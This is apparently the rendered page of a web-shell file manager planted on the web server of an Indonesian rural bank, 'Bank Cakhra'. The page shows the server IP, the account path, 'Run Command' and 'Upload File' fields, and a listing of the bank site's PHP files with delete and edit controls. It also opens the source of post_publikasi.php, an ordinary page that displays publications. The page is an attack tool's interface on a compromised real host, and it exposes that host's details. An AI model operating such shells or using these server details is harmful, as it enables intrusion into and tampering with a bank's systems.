File Manager
Server IP: 103.233.102.32
Your IP: 18.191.84.179
Current Path: /
/
home
/
bprcakhr
/
public_html
Back to Parent Directory
Create New Directory:
Upload File:
Run Command:
Name
Action
database/
Delete
|
Rename
db/
Delete
|
Rename
images/
Delete
|
Rename
cakhra2.png
Download
|
Delete
|
Edit
|
Rename
deposito.php
Download
|
Delete
|
Edit
|
Rename
error_log
Download
|
Delete
|
Edit
|
Rename
index.php
Download
|
Delete
|
Edit
|
Rename
kre_investasi.php
Download
|
Delete
|
Edit
|
Rename
kre_konsutif.php
Download
|
Delete
|
Edit
|
Rename
kre_modal_kerja.php
Download
|
Delete
|
Edit
|
Rename
layanan.php
Download
|
Delete
|
Edit
|
Rename
logo1.png
Download
|
Delete
|
Edit
|
Rename
lokasi.php
Download
|
Delete
|
Edit
|
Rename
mahasiswaa.php
Download
|
Delete
|
Edit
|
Rename
post.php
Download
|
Delete
|
Edit
|
Rename
post_publikasi.php
Download
|
Delete
|
Edit
|
Rename
proses-kredit.php
Download
|
Delete
|
Edit
|
Rename
proses_kredit1.php
Download
|
Delete
|
Edit
|
Rename
proses_pengajuan.php
Download
|
Delete
|
Edit
|
Rename
publikasi.php
Download
|
Delete
|
Edit
|
Rename
sim-depo.php
Download
|
Delete
|
Edit
|
Rename
sim-kre.php
Download
|
Delete
|
Edit
|
Rename
sosialisasi.php
Download
|
Delete
|
Edit
|
Rename
tab-berhadiah.php
Download
|
Delete
|
Edit
|
Rename
tab-bisnis.php
Download
|
Delete
|
Edit
|
Rename
tab-inti.php
Download
|
Delete
|
Edit
|
Rename
tab-intiplus.php
Download
|
Delete
|
Edit
|
Rename
tab.php
Download
|
Delete
|
Edit
|
Rename
tabungan.php
Download
|
Delete
|
Edit
|
Rename
uploadstest.png
Download
|
Delete
|
Edit
|
Rename
Edit File: ./post_publikasi.php
<!DOCTYPE html> <html> <head> <title>BANK CAKHRA</title> <link rel="icon" type="image/png" href="images/logo1.png"> <link rel="stylesheet" type="text/css" href="style.css"> <style> .publication-content { max-width: 800px; margin: 0 auto; padding: 20px; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); background-color: #fff; border-radius: 8px; } .publication-content img { width: 100%; height: auto; max-height: 600px; object-fit: cover; border-radius: 8px; } .publication-content h2 { font-size: 24px; margin: 20px 0; text-align: center; /* Centerkan judul */ } .publication-content p { font-size: 16px; line-height: 1.6; margin: 10px 0; } </style> </head> <body> <?php include 'nav.php'; ?> <div class="container"> <h1>Detail Publikasi</h1> <?php include 'db/db.php'; $id = isset($_GET['id']) ? intval($_GET['id']) : 0; $sql = "SELECT * FROM publikasi WHERE id = $id"; $result = mysqli_query($conn, $sql); if ($result) { if (mysqli_num_rows($result) > 0) { $row = mysqli_fetch_assoc($result); $image_url = $row['foto'] ? 'uploads/' . $row['foto'] : 'uploads/default-image.png'; // Gambar default jika tidak ada gambar echo '<div class="publication-content">'; echo '<h2>' . htmlspecialchars($row['judul']) . '</h2>'; echo '<img src="' . $image_url . '" alt="' . htmlspecialchars($row['judul']) . '">'; echo '</div>'; } else { echo "<p>Publikasi tidak ditemukan.</p>"; } } else { echo "<p>Error: " . mysqli_error($conn) . "</p>"; } mysqli_close($conn); ?> </div> </body> </html>